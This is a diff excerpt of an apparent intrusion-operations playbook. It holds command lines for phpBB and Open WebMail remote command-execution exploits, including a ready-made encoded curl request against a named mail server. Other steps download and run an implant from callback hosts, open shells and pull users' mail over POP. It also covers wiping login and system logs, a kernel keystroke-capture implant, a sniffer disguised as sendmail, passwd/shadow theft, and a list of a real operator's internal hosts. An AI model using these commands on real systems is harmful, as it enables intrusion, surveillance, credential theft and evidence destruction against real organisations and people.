write of 8392 bytes + Reset: OK + + +# Check to see if the "vsftpd" is now hidden from rpm +$ rpm -V vsftpd-1.1.3-8 + +# This time, /usr/sbin/vsftpd is not output. Our modified file is now hidden from RPM! +-rm rpmStatic + +############################ ESMARKCONANT ################################## +# Exploits a vulnerability in the phpBB forum software. +# No authentication is required. + +# target to be running phpBB less than version 2.0.11 + +# usage: ./xp_phpbb.pl -i -t -c + +# -i +# -t +# -c + +#./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"uname -a;ls -la;w" + +#./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://10.1.2.150:5555/sendmail -O +sendmail;chmod +x sendmail;D=-c10.1.2.150:9999 PATH=. sendmail) 2>/dev/null" + + + + +# 2 step troubleshooting +-tunnel +l 80 TARGET_IP +r NETCAT_PORT + +nc 127.0.0.1 80 +telnet 127.0.0.1 80 +GET /phpBB2/ HTTP/1.0 + +# response should be: +# Powered by phpBB 2.0.4 + +# determine if viewtopic.php is vulnerable +./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"uname -a;ls -la;w" + +# response should have the output of the commands in the request: +# ... +#
+ +cd /current/up +#locally to setup fowget to put rat on target since no uudecode +echo -e "HTTP/1.0 200\n" > new +cat new noserver > sendmail +nc -v -l -p NETCAT_PORT < sendmail + +# on PITCH +-nrtun RAND_PORT + +# upload and execute nopen +./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://PITCH_IP:NETCAT_PORT/sendmail + -Osendmail;chmod +x sendmail;D=-cPITCH_IP:RAND_PORT PATH=. sendmail) 2>/dev/null" + +# clean web access log +######### SNMPWALK +-tunnel +u 161 TARGET_IP + +snmpwalk 127.0.0.1 -c COMMUNITY_STRING .system +#snmpwalk -v1 -c Ult1mate 127.0.0.1 .system +#snmpwalk -v2c -c Ult1mate 127.0.0.1 .system +#snmpwalk -v1 -c tenkap 127.0.0.1 enterprises.9.9.23.1 + +##################################################### +# EVOKEPROMPT +##################################################### + +# In netscape/mozilla to get magic cookie: +# Tools->Cookie Manager->Manage Stored Cookies +# click on your cookie; take note of name and Information +# change name-sessionid and OWVSdif1.AMY to name and Information +# for the following command +# change callback IP + +in /etc/hosts, add the dns target name to 127.0.0.1 + + +1.EVOKEPROMPT Software Description: + + - Exploits a vulnerability in a CGI against the Open WebMail system. The request is parsed by the openwebmail-folder.pl CGI and is transferred to a perl open call which allows + arbitrary command execution. Open WebMail runs on FreeBSD, Linux, Solaris, and most Unix servers. + + - The Open WebMail system runs as "nobody", therefore a local exploit is needed if root access is required. + + - Since it's a logic error, the same exploit will work on all versions of Unix. + + 2.EVOKEPROMPT Usage: + + # ./xp_downloadfolder + usage: ./xp_downloadfolder -i -u -a -b -p -c + + -i + -p + -c + -u + -a + -b + + Examples: + 1) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"mkdir /tmp/.scsi; cd /tmp/.scsi; catsendmail;chmod +x + sendmail;sleep 60;PATH=. D=-cPITCH_IP:5555 sendmail" + + 2) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"PATH=/usr/bin w" + + 3) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"sh&0 2>&0" + + 3.Target Susceptablility: + + EVOKEPROMPT requires the target to be running Open WebMail 2.10 or higher. + + 4.On what will EVOKEPROMPT fail? + Will not work on older versions of Open WebMail. Versions that will not work include Open WebMail 1.80, 1.90, 2.00. + + 5.EVOKEPROMPT Additional Requirements: + Need username/password to authenticate. + Local exploit based upon the operating system. Could use DTAPPGATHER for Solaris, rfork for FreeBSD, or ptrace for Linux. + + 6.Give troubleshooting instructions: + There are the steps in troubleshooting EVOKEPROMPT: + 1. Determine if the webserver is running Open WebMail 2.10 or higher: + # galeon http://targetip/ + + 2. Determine the OS based upon "User Preference/About" in the Open WebMail system. + + 7.EVOKEPROMPT Example Usage: + +1) + # galeon http://127.0.0.1/ + + 2) Enter the UserID and Password. For the rest of this example, UserID is name. + + 3) Set up Nopen to listen for a connection. + # noclient -l 123 + or + # -nrtun 123 + + 4) View the cookie for "Site" (in this case, 127.0.0.1) and "Cookie Name" (in this case, name- +sessionid). The value + should be similar to this: OWVSdiyf1.AMY + + 5) Also, need to use the session ID in the URL, for example: sessionid=name*-session-0.2724838 +93045322 + + 6) Send the exploit using xp_downdloadfolder with the above information: + + # ./xp_downloadfolder -i127.0.0.1 -uname -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"mkdir / tmp/.scsi; cd /tmp/.scsi; catsendmail;chmod +x sendmail;sleep 60;PATH=. D=-cPITCH_IP:123 sendmail" + + +# this worked on faintspirit +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://REDIR_IP:443" + +# others +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWXIer7nk2%2FpM" -b0.535692078600736 -c"(sh&0 2>&0)" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"sh&0 2>&0" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/w; /bin/date" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://REDIR_IP:443" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://REDIR_IP:443" +./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://REDIR_IP:443/sendmail; chmod 700 sendmail; PATH=. D=-cREDIR_IP:46776 sendmail" + +# abort the curl command, then modify the string to have the "ow-sessionkey-mail.ihep.ac.cn-", https://127.0.0.1:443, and "=tonggl*mail.ihep.ac.cn-session-" info included + +# wget nopen (this worked): +curl --cookie "ow-sessionkey-mail.ihep.ac.cn-tonggl=OWKyenMN8jyV2" "https://127.0.0.1:443/cgi-bin/openwebmail/openwebmail-folder.pl?sessionid=tonggl*mail.ihep.ac.cn-session-0.125111049580486&folder=|(echo%20%27mkdir%20FtmpFEscsi%3B%20cd%20FtmpFEscsi%3B%20FusrFbinFwget%20http%3AFF2G3E234E72E4%3A443Fsendmail%3B%20chmod%207GG%20sendmail%3B%20PATH%3DE%20D%3D-c2G3E234E72E4%3A46776%20sendmail%27%7CPATH%3D%60printf%20%27%5C057usr%5C057bin%27%60%20tr%20E-G%20.-0%7CPATH%3D%60printf%20%27%5C057bin%27%60%20sh)&action=downloadfolder" + + + +### In a local scripted window, set up a netcat to listen for a connection: + +nc -vv -l -p NETCAT_PORT + + +### try connecting via netcat after any "session failed" message when redirecting: +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +uname -a +### start a netcat with the right nopen version (don't need to uuencode with /dev/tcp way) +### nc -l -p NETCAT_PORT < sendmail +pwd +mkdir /tmp/.scsi; cd /tmp/.scsi; pwd +ls -l /usr/bin/uudecode +/bin/cat/tmp/.scsi/sendmail +chmod 700 sendmail +PATH=. sendmail +id + + +grep -v "PITCH_IP" /home/ihep/tonggl/.openwebmail +-gs grepout -d -w /tmp/.scsi "PITCH_IP" /home/ihep/tonggl/.openwebmail/history.log +-gs grepout -d -w /tmp/.scsi "PITCH_IP" /home/ihep/chep2001/.openwebmail/history.log + +-gs grepout -d -w /tmp/.scsi "PITCH_IP" /var/log/openwebmail.log + +grep -v "PITCH_IP" /var/log/openwebmail.log> o; cat o > /var/log/openwebmail.log + + + + + + + 7) Check the following logs and directories: + + /home/name/.openwebmail/history.log + /var/log/httpd/access_log + /var/log/openwebmail.log + /home/name/mail + /home/name + /var/www/cgi-bin/openwebmail/etc/sessions/ + + + +##################################################### +# POPPING MAIL FROM A TARGET +##################################################### + +### You'll be listing the messages from within a scripted window +### You'll need to devise a way to separate the mail for multiple users (for tuckering) +### if you are accessing more than one account +### You might try using a separate scripted window for each user, then copying +### the scripted window to the name of the user for post-processing +### The session timeout is fairly short so have your commands ready to paste +### You have to "guess" where the newest mail is, so you might want to start +### backwards to get the most recent mail, IF that applies and the mail is +### sorted by date + +### IMPORTANT!!!!!! DO NOT "QUIT" THE SESSION!!!! LET IT TIMEOUT, +### OR CLOSE THE TUNNEL TO HAVE IT DROP THE CONNECTION. +### You do not want the mail marked as "read" or anything else. + +### set up tunnels on redirector: + +-tunnel +l 110 TARGET_IP + + + +### in a local scripted window: + +telnet 127.0.0.1 110 +USER +PASS +LIST +RETR 1 +RETR 2 +RETR 3 +RETR 4 +RETR 5 + +RETR 6 +RETR 7 +RETR 8 +RETR 9 +RETR 10 +... +... +... + +### If the session hasn't timed out, close the tunnel channel to move on to the +### next user or to end the op + + + +############################################################################# + +############ I AM ROOT! + +############################################################################# + +###path with NO Working directory for atjob +#-setenv PATH=:/usr/bsd:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc +-setenv PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin + +HISTFILE="" ksh + + # or + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + +-ls + +-rm sendmail sendmail.uu + +# Look for and clean (if necessary) logs + +###### FORENSICS ############## + +=info + +df -k +-find + +-gs survey +-ls /var/spool/cron/crontab +-strings /platform + ## /platform/SUNW,SystemEngine + + +### See who's on, note uptime and load; verify time/timezone; see who's been on +w; date; last -80 + +### Change owner/group/modes...if in doubt, see what's already in "/tmp"... +-ls -t / /tmp + +### core files? +-ls /core + +### Root users: +-ls /var/adm/sulog +-vget /var/adm/sulog + +### owner:group should be root:sys... +chown -R root:sys /tmp/.scsi; chmod -R og-rwx /tmp/.scsi; ls -al + +### Baseline swap +/sbin/ps -elf; swap -l; uptime + +### Enough space to upload tools? Any partitions about to fill up? +df -k + + +################ OTHER CLEANING ################ + +################################# +### TOAST the login entries..... +################################# + +### Target window +-put ../up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmp[x] user + + +################################# +### SGREP messages +################################# +-put ../up/sgrep s + +-tail /var/adm/messages + +### To look first: +./s "unique string" /var/adm/messages + +### To replace with a string of equal or shorter length +./s "unique string" "replacement string" /var/adm/messages + +################################# +### SGREPSUB (numerous things to grep) +################################# + + +usage: sgrepsub -i /tmp/messages -r /tmp/rand -c 31 + -i + -r + -c to find the column number> + -h + -f + -s +ex: sgrepsub -i /tmp/messages -r /tmp/rand -c 31 -f /var/log/messages + + +### Locally, create a file containing the lines you want to change from /var/adm/messages + +cd /current/down +vi sg.input + +### Locally, create a 2nd file containing one or more lines of replacement strings +cd /current/down +vi sg.repl + +### Locally, run +sgrepsub -i sg.input -r sg.repl -c -f /var/adm/messages -s ./s + +### Verify the output, then paste the generated commands in the target window + +################################# +### PCLEAN (put up right one) +################################# + +-put ../up/pcleanTAB sendmail + +-ls + +### make sure to exit all but one window (processes log upon completion) + + +### Pclean usage: +### -e: look for null entries +### -i: calc number of entries in file +### -r: looks for entries with gid=root +### -t: search this time range +### -l: search for last X hours +### -S: ignore matches in the following string? + +### Usage: +./pclean [-h(elp)] [-d] [selection_option(s)] [filename] + -d: DELETE selected entries + + +Selection options: (Two or more selection options are ANDed together) +-------------------------------------------------------------------- + no options: print all entries to stdout and exit + + -h(elp): self expl + + -e: list null entries; all other select criteria ignored + + -f fname: delete whitespace-separated numeric entries + listed in "fname" + (numbers must be in numeric order -- try the + "sort -n" option if necessary) + + -r: list entries w/ gid == root + + -i calculate # of entries in the file + (all other selection options ignored) + + -l num_hrs list entries whose start time was within last num_hrs hours + + -n numeric_list: select numeric ranges and/or individual entries + (numeric list CANNOT have spaces and MUST be + in numeric order and comma-separated) + e.g.: -n 1-1024,1080,6666,31337 + ** NOTE: USING EITHER THE -n OR -L OPTION CAN + ** SIGNIFICANTLY IMPROVE PROCESSING TIME + + -L number: select the last number of entries + ** NOTE: USING EITHER THE -n OR -L OPTION CAN + ** SIGNIFICANTLY IMPROVE PROCESSING TIME + + -k numeric_list: slower version of -n (doesn't use lseek) + + -t time_range: entries that fall within time range, specifed + as [[CC]YY]MMDDhhmm[.SS]-[[CC]YY]MMDDhhmm[.SS] + (no spaces) + e.g. 8 Jul 1999 from 10am to 11am: + -t 199907081000-199907081100 + + -c cmd_name: strncmp() search for 1st 8 chars of commands that + match cmd_name + + -s "cmd1|cmd2|...": strncmp() search for 1st 8 chars + of commands that DO match a list of '|' + separated strings (kinda like egrep) + + -S "cmd1|cmd2|...": strncmp() search for 1st 8 chars + of commands that DON'T match a list of '|' + separated strings (kinda like egrep -v) + + + +### LOCALLY, make pclean dir +-lsh mkdir /current/down/pclean + +### Make sure your path is correct: +### redo path with WORKINGDIR +-addpath . + +### or equivalently: +### DEC: +#-setenv PATH=/usr/.advtags:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + +### OTHER: +#-setenv PATH=/tmp/WORK_DIR:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + + +### newer way + +#### Checks number of processes in file? Informational +#### This one doesn't do any cleaning yet. +sendmail -i; date + +### This works for ICESKATE (DEC) +#sendmail -r -l 4 -S "sendmail|imapd|idled|mail.lo|popper|sshd|in.ident|syslogd|telnetd|ipop3d|imapd" > T:/current/down/pclean/o +## safest way for SPARC +sendmail -l 4 > T:/current/down/pclean/o + +### Locally, edit file and remove any excess entries +### Use following on local host to convert into input format: +cp o o.orig + +### Delete header and footer lines, along with any processes that +### don't appear to be us +vi o + +### Convert the file into input format (process ref numbers only): OR in vi: :%s/ .*//g +cut -f1 -d ' ' o > i + # or +cut -f1 -d ' ' o.grep > i + +### Verify the file to be uploaded is correct: +cat i + +### upload input file +-put /current/down/pclean/i i +-ls + +### DON'T RUN ANY MORE NON-BUILTIN COMMANDS ON TARGET AFTER THIS COMMAND!!!!! +### Delete our entries +sendmail -d -f i > T:/current/down/pclean/o.after + +### Locally, edit file and remove any excess entries +### verify pclean worked: +cat o.after + +### Paste the final 'sendmail' cleanup line from o.after on the target +### until it says "no entried selected" + +### Extra cleanup + +### reset timestamp on /usr after rm /usr/.advtags +-rm sendmail i + + +### DO NOT RUN ANY MORE NON-BUILTIN COMMANDS or you'll HAVE TO PCLEAN AGAIN!!!! + + +###################################################################################### + + +### check logs +#grep 217.53.1.2 /var/adm/SYSLOG /var/log/syslog + +grep PITCH_IP /var/adm/SYSLOG /var/log/syslog /var/adm/messages + +### Get a reboot history through a combination of the following: +### Take note if anyone was on the console around the time of any reboots +last | egrep "down|boot|console" +last -15 boot + +-tail /var/adm/sulog + +#### CHECK FOR ACCOUNTING... +-ls /var/adm/*acct +-ls -t /var/spool/cron/crontabs +grep acct /var/spool/cron/crontabs/* +-ls /var/spool/cron/atjobs +grep acct /var/spool/cron/atjobs/* + +#### (1) What's the current local time? +### (2) Is the platform close to what we thought? +### (3) Do we have some available disk space? +### (4) Are there currently any at jobs? +date; uname -a; df -k; at -l + +### check for remote monitoring +#-ls -t /var/adm/syslog.dated +#-ls -t /var/adm/syslog.dated/current/ +#-tail -70 /var/adm/syslog.dated/current/auth.log +#-tail -70 /var/adm/syslog.dated/current/daemon.log +#-tail -70 /var/adm/syslog.dated/current/mail.log +#-tail -70 /var/adm/syslog.dated/current/others.log +#egrep "PITCH_IP|inetd| ident" /var/adm/syslog.dated/current/*.log + + +### check other logs +-ls -t /var/adm +-ls -t /var/log + + +####### LINUX TECH CHECKS: +hostname +=mkoffset +-ifconfig + +### Looking for libint.so in maps: +-ls /proc/1/ +cat /proc/1/maps + +### check access times: +-lt /lib/libinit.so +-ls -u /lib/libinit.so + +### should NOT exist: +-lt /etc/ld.so.preload + + +### see if lock file is there, pull if not too big: +-lt /var/spool/lpd/_default + -get /var/spool/lpd/_default/ + + +### check reboots: +-ls -t /var/log/*ksym* + +### check logs around time of last callback: +-ls -t /var/log/mess* + -get /var/log/mess* + +### pull this (should compress well): +-lt /var/log/lastlog + -get /var/log/lastlog + +-ls -t /root +-get -v /root/.bash_history + + + +############# For LINUX +-ls /var/spool/cron +-ls /var/run/utmp +-ls /var/log/wtmp + +netstat -an +netstat -anlp + +###### shows dates of reboots: +-lt /var/log/ksyms* + +### Like uname -a +-cat /etc/*release +uname -a + +### Like psrinfo -v: +cat /proc/cpuinfo + + # Kernel info - vmlinux +stat /dev +stat /sbin/init +-lt /boot +-get /boot/System.map* +-lt /etc +-get /etc/lilo.conf +mount +-ls /sbin/init +cksum /sbin/init +lsmod +-ls /sbin +ls -l /proc/1/exe +-ifconfig +netstat -npa + + # For SS +/proc/config.gz +/boot/config-`uname -r` +/proc/version +/usr/src/linux-`uname -r`/.config +/usr/src/linux-`uname -r`/configs/*.config + + # For JL +rpm -qa |grep xinet +-strings /usr/sbin/xinetd |grep Version +-get /usr/sbin/xinetd +-ls /etc/xinetd.conf +grep "disable" /etc/xinetd.d/* +chkconfig --list + + + +######## END FORENSICS ########################## + +############- Create our slash and burn at job + +cd /; echo "rm -rf /tmp/.scsi > /dev/null 2>&1" | at now + 180 minutes +cd /; echo "kill -9 ###FINSPID### > /dev/null 2>&1" | at now + 180 minutes +at -l; date + +### vi commands to (1) mark, (2) modify file for at job, (3) jump back here +mx +:%s/at -r ### /at -r /g +`x + +### redo path with WORKINGDIR +-setenv PATH=/tmp/.scsi:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + +### What protocols are serviced by 'inetd'... +grep -v "^#" /etc/inetd.conf + +### Which facilities and levels are getting logged to which files/hosts... +grep -v "^#" /etc/syslog.conf + +### Named config files +-ls /etc/named* +-ls /var/named* + + + +### ASET (Automated Security Enhancement Tool) CHECK... +### +### After connecting and creating/cd-ing to your "working +### directory" in /tmp + +grep aset /var/spool/cron/crontabs/* + +### if aset if running, look for path after the "-d" option +### i.e. 0 0 * * * /usr/aset/aset -d /usr/aset +### /usr/aset would be the path we're looking for +### if this path is _not_ /usr/aset, run the following commands +### as is AND a second time replacing /usr/aset with the path +### from the cron job + +#ls -al /usr/aset +#ls -al /usr/aset/reports/latest + +### ASET Tasks... +#ls -al /usr/aset/tasks +#tar cvf as.t /usr/aset/tasks; ls -la + +#### ASET Archives... +#ls -al /usr/aset/archives +#tar cvf as.a /usr/aset/archives; ls -la + +#### ASET Master Files... +#ls -al /usr/aset/masters +#tar cvf as.m /usr/aset/masters; ls -la + +#### Download any ASET tar files and remove from tmp dir on target + + + +################ Locally, look thru find ################################ + +#### Typical grep's on downloaded 'find' file +#### Do on local host after downloading files. Collectively... + +cd /current + +egrep '(tftpboot|cisco|router|hack|\.\.\.|tacac|ssh)' *m + ## or, singly... +grep cgi-bin *m +grep tftpboot *m +grep cisco *m +grep router *m +grep hack *m +grep "\.\.\." *m +grep ssh *m +grep tac *m |egrep '(passwd|pwfile|etc|wtmp|conf|plus)' + +#### Since we're looking at 'find', TRIPWIRE could be elsewhere, too... +#### Collectively... +egrep '(trip|twz|tw\.config)' *m + # or, singly... +grep trip *m +grep twz *m +grep "tw\.config" *m + +### look for history files +grep history *m + + +### Extra -local window + +#lsstamp -c 2 -s sorts based on atime (good for finding config files) +#lsstamp -c 3 -s sorts based on ctime (good for finding hacker activity) + +# OR + +# ./mkfinds -h +# ./mkfinds + +################################################################################### +################################################################################### + +### PASSWD FILE? +# get -l option will disconnect absolute path locally +-ls /etc/passwd /etc/shadow +-get -l /etc/passwd /etc/shadow + +############# MAILGRAB ############################## + +# Strifeworld Collection + +-setenv PATH=/tmp/.scsi:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin + +who -b + +###################################################### +# SUCTIONCHAR +###################################################### +# 32 or 64 bit OS - solaris sparc 8,9 +# Kernel level implant - transparent, sustained, or realtime +# interception of procoess input/output vnode traffic. +# retrieve later + +# filter: ssh, telnet, rlogin, rsh, password, login, csh , su + +# max bytes collected per session is 32 kilobytes +# max bytes collected for all sessions is 1 megabyte +# don't take up more than 1% of system's memory + +# to determine if suctionchar is loaded on a system is to +# open a command channel to the implant as described in +# authenticate and yyserv tool and demo sections. If this +# fails and receives the error "Bad Address" when trying to +# modload the instant grat module; function call needs patch +# can't be found, probably because already been patched by a +# version of suctionchar already running + +# SUCTIONCHAR will go away at reboot +# if offset involved with target, must set op box time to match target time + +# INSTALLING SUCTIONCHAR +uname -a +isainfo -v + +-cd /tmp/.scsi + +cp /usr/sbin/modload ml +cp /usr/sbin/modinfo mi + +### if running 32 AND 64 bit, upload 64 bit: +# 64 bit +-put /current/up/sparcv9/sum sum +# else 32 bit +-put /current/up/sum sum + +-lt sum +### install it: +./ml sum + +### make sure sum doesn't show up in modinfo: +./mi + +### note size of sum for dd command: +-lt sum + +### Run dd to zero out 'sum' binary so its contents can't be recovered from disk after deletion +# +# say size of sum is 34364, need for count in dd +# + +dd bs=1 count=34364 if=/dev/zero of=sum +-rm sum ml mi + +### nothing should have logged: +-tail /var/adm/messages + +##### NOPEN SUCTIONCHAR COMMANDS ######## +[-suc] +Usage: -suc [get|] | [-s] [..] | blow | info | filter | free | unhook + +-suc info # shows if installed and bytes collected, max s and max c +-suc filter # set filters /current/etc/suctionchar.sample.conf +# locally to give pastable for -suc filter: +# make filter.conf file + +/current/bin/suctionchar.genconf /current/etc/suctionchar.sample.filter.conf +# paste filter in one at a time from genconf bottom output until all filters +# in; filter saved message appears + +-suc get # get data, decrypt, view +-suc blow # remove suctionchar +-suc -s pid [pid] # on the fly tracking of process to screen +-suc free # free memory of suctionchar data +-suc unhook # unhook any realtime process with -s to screen + +# on target: to authenticate must run yyserv on target and +# /current/etc/suctionchar.authenticate locally +# authenticate by hand, our opbox time must be set exactly to authenticate +cp /bin/cat yyserv +-shell +echo $$ # notice pid +./yyserv # to exit +# 1 -- copy magic string from local authenticate window +# 3 -- copy first response from local authenticate window +# 5 -- copy second response from local authenticate window +info +OK +info + +exit + +# locally +cd /current/bin +./suctionchar.authenticate +# 2 -- place PID from echo $$ on target (-shell) +# 4 -- challenge= copy from yyserv output string inbetween first response string + + +# yyserv commands +# info - stats on collected sessions +info +# filt - reprogramming the filter rules it is running; intended to only be +# used with commands generated by genconf +filter +# copy filters one by one based on local genconf output +# file - writes out collected data to disk; file name in double quotes +# ex: "/tmp/filename"; should receive ERROR if wrong, WROTE to "/tmp/filename" +file "/tmp/.scsi/d +# in nopen window not running yyserv +-get /tmp/.scsi/d +-rm /tmp/.scsi/d +# locally +/current/etc/suctionchar.decrypt PATH/d outfile +# free - deallocates memory to store collected data; should always get OK +free +# hook - realtime snooping of existing processes +# ex: hook PID +# unho - unhooking any realtime hooked processes +# sets - set maximum bytes collected per session (MAX S =) +# setc - set maximum total bytes, across all collected sessions, used to +# store data in memory (MAX C =) +# unpa - unpatch itself from the kernel +# exit - send kill to yyserv + +# when finished using yyserv manually, make sure cleaned up properly +ps -ef | grep yyserv + +-lt +-rm yyserv +-cd /tmp +-rm /tmp/.scsi + + +###################################################### +# WATCHER +###################################################### + + + + + +###################################################### +# STRIFEWORLD +###################################################### + +### +### IMPORTANT: make note of PID,PPID that strifeworld reports when you start it and save it in opnotes +### + +### man page: +cd /current/etc +nroff -man strifeworld.1 + + +############ Start STRIFEWORLD ##################### + +### upload strifeworld as sendmail (or something else that might blend in) + +-put /current/up/strifeworld sendmail + + + +### Sniffing syntax: + +#PATH=. E="port 23 and host (210.56.16.1 or 210.56.4.1)" C="-o/tmp/.nfs7254 -n. -ihme0 -a3000 -b10000 -x100" sendmail +#PATH=. E="port 23" C="-o/tmp/.nfs7254 -n. -ihme0 -a3000 -b10000 -x100" sendmail + + + +### Task mail: + +#PATH=. E="port 25" C="-o/tmp/DIR -f(user1 user2) -ihme0 -a3000 -b100000 -j10000000" sendmail +#PATH=. E="port 25" C="-o/tmp/DIR -f([^a-zA-Z0-9_-](user1|user2|user3)@) -ihme0 -a3000 -b100000 -j10000000" sendmail +#PATH=. E="port 25" C="-o/platform/SUNW,SystemEngine/kernel/drv/scsi -f([^a-zA-Z0-9_-](user1|user2|user3)@) -ihme0 -a3000 -b100000 -j10000000 -x100 -l" sendmail + + +### Dump to hidden directory: + +### to hide on a sparc system +-lt platform/SUNW,SystemEngine/kernel/drv +PATH=. E="port 23" C="-m -o/platform/SUNW,SystemEngine/kernel/drv/.scsi -n. -i iprb0 -a3000 -b10000 -x100 -l" sendmail + +### to hide file on an x86 system +-lt /platform/dvri86pc/kernel/drv +PATH=. E="port 23" C="-m -o/platform/dvri86pc/kernel/drv/.scsi -n. -i iprb0 -a3000 -b10000 -x100 -l" sendmail + + + + +### make note of PID,PPID it echos back and document the command used to start it + + + +### verify it's running and hidden: + +ps -ef | grep PID +cd /dev; ps -ef |grep " sendmail" + + # or + +echo "p\nq\n"|crash|grep sendmail # Should see sendmail with . +echo "p\nq\n"|crash|grep PID # Should see sendmail with . + + + +############ Dump STRIFEWORLD ##################### + +### first, change local dir to either mailpull or sniffer: + +-lcd /current/down/sniffer/TARGET_NAME.TARGET_IP +-lcd /current/down/mailpull/TARGET_NAME.TARGET_IP + + + +### dump via built-in: + +=swkill + + + + +### dump by hand: + +### figure out sw PID and replace it in line below: + +#A=PID export A; kill -USR1 $A; sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A + +-ls -t /tmp +-get -l /tmp/file1 /tmp/file2 +-rm /tmp/file1 /tmp/file2 +-ls -t /tmp + +### or if in a hidden directory (filename usually 'scsi'): + +-ls /platform/SUNW,SystemEngine/kernel/drv/scsi +-ls /platform/dvri86pc/kernel/drv/scsi +-get -l FILENAME +cat /dev/null > FILENAME +-lt /platform/SUNW,SystemEngine/kernel/drv +-lt /platform/dvri86pc/kernel/drv + + + + +######### To grep headers from strifeworld mail collection: ############## + +wc -l /tmp/file1 /tmp/file2 + +### while on target: + +#P0=[12]?[0-5]?[0-9]+\\. ; P1=[0-9]+ ; P2=$P0$P0$P0$P0$P1 ; egrep -ni "($P2-$P2|^To:|^From:|^Subject:|filename=)" /tmp/.nfs6218 + +### when done locally: + +#P0=[12]?[0-5]?[0-9]+\\. ; P1=[0-9]+ ; P2=$P0$P0$P0$P0$P1 ; egrep -ni "($P2-$P2|^To:|^From:|^Subject:|filename=)" /current/down/mailpull/TARGET_NAME.TARGET_IP + + + + +############# MAILGRAB ############################## +### Multiple mail pulls + + +-lcd /current/down/mailpull/TARGET_NAME.TARGET_IP + +##### or use -chili +# +-chili -s 1 -l mm-dd-yyyy /var/mail USER1 + +## after down, check size locally +cd /current/down/mailpull/TARGET_NAME.TARGET_IP + + +# look at SA mail + +-tail /var/adm/sulog + +-ls /var/mail/USER + +grep -n -i "^Subject: " /var/mail/USER + + +### Generic stuff + +### SUBJECT/DATE/FROM/TO/E-MAIL ATTACHMENTS Normal... +#cd /var/mail; egrep '(^Subject:|^Date:|^From:|^To:|name=)' * + + +############### Get ready to cleanup ################################### + +### redo path with WORKINGDIR +-setenv PATH=/tmp/WORK_DIR:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb + + +############- ZAP OUR AT JOB + +at -l +at -r ### ; at -l + + +############ HEALTH CHECK ######################### + +### Run the following before pcleaning to baseline system health prior +### to end of op + +w; date; last -80 +/sbin/ps -elf; swap -l; uptime +ps -ef |grep " sendmail" +-pid +df -k +-ls -t / +-tail -50 /var/adm/messages +-ls -t /var/log /var/cron /var/adm + + +#### +### Clean up and Bail +#### + +### Remove working dir, reset timestamp, rm touchfile, verify /usr and /tmp +### then +-cd /tmp +-rm /tmp/WORK_DIR +YES + +-ls /tmp + + +#### +## Kill off all remote nopen server processes... +#### + +-burn +BURN + +#### Try reconnecting to make sure noserver died + + +###### End of user.mission; You're done!!!! ######################## diff --git a/Linux/doc/old/etc/user.mission.sicklestar.COMMON b/Linux/doc/old/etc/user.mission.sicklestar.COMMON new file mode 100644 index 0000000..3f327b4 --- /dev/null +++ b/Linux/doc/old/etc/user.mission.sicklestar.COMMON @@ -0,0 +1,1217 @@ +#### SICKLESTAR stuff + + # WINDOWS: + 10.140.0.7 lhedc1 + 10.20.20.156 cs02.mobilink.net.pk + 10.20.20.152 fs01.mobilink.net.pk + 10.150.20.13 fs1 + 202.163.69.183 blade1 internal IP 10.140.0.9 (newest access) + + # SOLARIS: + 10.140.0.40 alien.mobillink.net + 10.140.0.68 magnum.mobilink.net.pk + 10.171.2.50 server-vas-i10.mobilink.net.pk + 10.175.20.10 spots.mibilink.net.pk + + # HP + 10.211.20.11 CG1.mobilink.net.pk + 10.211.4.1 CDRCOL1.mobilink.net.pk + 10.211.4.2 CDRCOL2.mobilink.net.pk + + # PIX: + 202.163.69.185 pix525 (main) + 202.163.69.?? (backup) + + keys in /targets/sicklestar/keys + + + +### Helpful in weeding out noisiness in ethwarn window: +echo "igmp" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "pathcost" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "who-has" >> /tmp/filters.inuse && mv /tmp/filters.inuse /tmp/filters +echo "router" >> /tmp/filters.inuse && 